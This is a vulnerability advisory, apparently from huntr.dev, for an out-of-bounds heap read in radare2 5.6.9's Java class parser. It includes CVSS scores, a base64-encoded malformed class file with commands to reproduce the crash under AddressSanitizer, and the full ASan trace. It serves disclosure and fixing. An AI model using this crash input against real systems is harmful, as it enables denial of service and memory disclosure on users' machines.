Out-of-bounds Read in r_bin_java_bootstrap_methods_attr_new function

2022-04-2315:09:28

bet4it

www.huntr.dev

7.1 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

5.8 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:N/A:P

0.001 Low

EPSS

Percentile

26.8%

JSON

Description

Out-of-bounds (OOB) read vulnerability exists in r_bin_java_bootstrap_methods_attr_new function in Radare2 5.6.9.

This is similar with CVE-2022-0518 and CVE-2022-0521.

Version

radare2 5.6.9 27745 @ linux-x86-64 git.conti
commit: 14189710859c27981adb4c2c2aed2863c1859ec5 build: 2022-04-23__11:05:49

Proof of Concept

# build the radare2 with address sanitizer
./sys/sanitize.sh

echo yv66vgAAADQADQcACwcADAEADnZpcnR1YWxEYWNoaW5lAQAeKAdMY29tL3N1bi9qZGkvVmlydHVhbE1hY2hpbmU7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAAtNaXJyb3IuamF2YQEAEEJvb3RzdHJhcE1ldGhvZHMBABdGb3VuZF9ieV9naXRodWIvYmV0NGl0OwEAEmNv7S9zdW4vamRpL01pcnJvAQEAEGphdmEvbGFuZy9PYmplY3QGBQABAAIAAAAAAAIEAQADAAQAAAQBEgUABgAAAAIABwAAAAIACAAJAAAAAA== | base64 -d &gt; bootstrap.class
ASAN_OPTIONS=detect_leaks=0:detect_odr_violation=0 r2 -A bootstrap.class

ASAN

=================================================================
==608400==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000063cb7 at pc 0x7f5fffc53f0c bp 0x7fff215606c0 sp 0x7fff215606b0
READ of size 1 at 0x602000063cb7 thread T0
    #0 0x7f5fffc53f0b in r_bin_java_bootstrap_methods_attr_new /src/radare2/shlr/java/class.c:6934
    #1 0x7f5fffc04919 in r_bin_java_read_next_attr_from_buffer /src/radare2/shlr/java/class.c:2082
    #2 0x7f5fffc041e5 in r_bin_java_read_next_attr /src/radare2/shlr/java/class.c:2043
    #3 0x7f5fffc0816c in r_bin_java_parse_attrs /src/radare2/shlr/java/class.c:2247
    #4 0x7f5fffc0a25e in r_bin_java_load_bin /src/radare2/shlr/java/class.c:2373
    #5 0x7f5fffc099f2 in r_bin_java_new_bin /src/radare2/shlr/java/class.c:2323
    #6 0x7f5fffc16be8 in r_bin_java_new_buf /src/radare2/shlr/java/class.c:3145
    #7 0x7f5ff974a8d4 in load_buffer /src/radare2/libr/..//libr/bin/p/bin_java.c:81
    #8 0x7f5ff9580989 in r_bin_object_new /src/radare2/libr/bin/bobj.c:149
    #9 0x7f5ff95751c7 in r_bin_file_new_from_buffer /src/radare2/libr/bin/bfile.c:585
    #10 0x7f5ff95301ca in r_bin_open_buf /src/radare2/libr/bin/bin.c:281
    #11 0x7f5ff9531060 in r_bin_open_io /src/radare2/libr/bin/bin.c:341
    #12 0x7f5ffba2dedd in r_core_file_do_load_for_io_plugin /src/radare2/libr/core/cfile.c:436
    #13 0x7f5ffba30c1e in r_core_bin_load /src/radare2/libr/core/cfile.c:637
    #14 0x7f6004a2fc10 in r_main_radare2 /src/radare2/libr/main/radare2.c:1206
    #15 0x559df515e81b in main /src/radare2/binr/radare2/radare2.c:96
    #16 0x7f6003e1a30f in __libc_start_call_main (/usr/lib/libc.so.6+0x2d30f)
    #17 0x7f6003e1a3c0 in __libc_start_main@GLIBC_2.2.5 (/usr/lib/libc.so.6+0x2d3c0)
    #18 0x559df515e1a4 in _start (/src/radare2/binr/radare2/radare2+0x21a4)

0x602000063cb7 is located 0 bytes to the right of 7-byte region [0x602000063cb0,0x602000063cb7)
allocated by thread T0 here:
    #0 0x7f6005bb5fb9 in __interceptor_calloc /usr/src/debug/gcc/libsanitizer/asan/asan_malloc_linux.cpp:154
    #1 0x7f5fffc026a9 in r_bin_java_get_attr_buf /src/radare2/shlr/java/class.c:1963
    #2 0x7f5fffc041a6 in r_bin_java_read_next_attr /src/radare2/shlr/java/class.c:2039
    #3 0x7f5fffc0816c in r_bin_java_parse_attrs /src/radare2/shlr/java/class.c:2247
    #4 0x7f5fffc0a25e in r_bin_java_load_bin /src/radare2/shlr/java/class.c:2373
    #5 0x7f5fffc099f2 in r_bin_java_new_bin /src/radare2/shlr/java/class.c:2323
    #6 0x7f5fffc16be8 in r_bin_java_new_buf /src/radare2/shlr/java/class.c:3145
    #7 0x7f5ff974a8d4 in load_buffer /src/radare2/libr/..//libr/bin/p/bin_java.c:81
    #8 0x7f5ff9580989 in r_bin_object_new /src/radare2/libr/bin/bobj.c:149
    #9 0x7f5ff95751c7 in r_bin_file_new_from_buffer /src/radare2/libr/bin/bfile.c:585
    #10 0x7f5ff95301ca in r_bin_open_buf /src/radare2/libr/bin/bin.c:281
    #11 0x7f5ff9531060 in r_bin_open_io /src/radare2/libr/bin/bin.c:341
    #12 0x7f5ffba2dedd in r_core_file_do_load_for_io_plugin /src/radare2/libr/core/cfile.c:436
    #13 0x7f5ffba30c1e in r_core_bin_load /src/radare2/libr/core/cfile.c:637
    #14 0x7f6004a2fc10 in r_main_radare2 /src/radare2/libr/main/radare2.c:1206
    #15 0x559df515e81b in main /src/radare2/binr/radare2/radare2.c:96
    #16 0x7f6003e1a30f in __libc_start_call_main (/usr/lib/libc.so.6+0x2d30f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /src/radare2/shlr/java/class.c:6934 in r_bin_java_bootstrap_methods_attr_new
Shadow bytes around the buggy address:
  0x0c0480004740: fa fa fd fa fa fa fd fa fa fa 05 fa fa fa 00 07
  0x0c0480004750: fa fa 05 fa fa fa fd fd fa fa 05 fa fa fa 00 01
  0x0c0480004760: fa fa 05 fa fa fa fd fd fa fa 05 fa fa fa 00 03
  0x0c0480004770: fa fa fd fd fa fa 05 fa fa fa 00 04 fa fa 05 fa
  0x0c0480004780: fa fa 05 fa fa fa 05 fa fa fa 05 fa fa fa 05 fa
=&gt;0x0c0480004790: fa fa fd fd fa fa[07]fa fa fa fa fa fa fa fa fa
  0x0c04800047a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c04800047b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c04800047c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c04800047d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c04800047e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==608400==ABORTING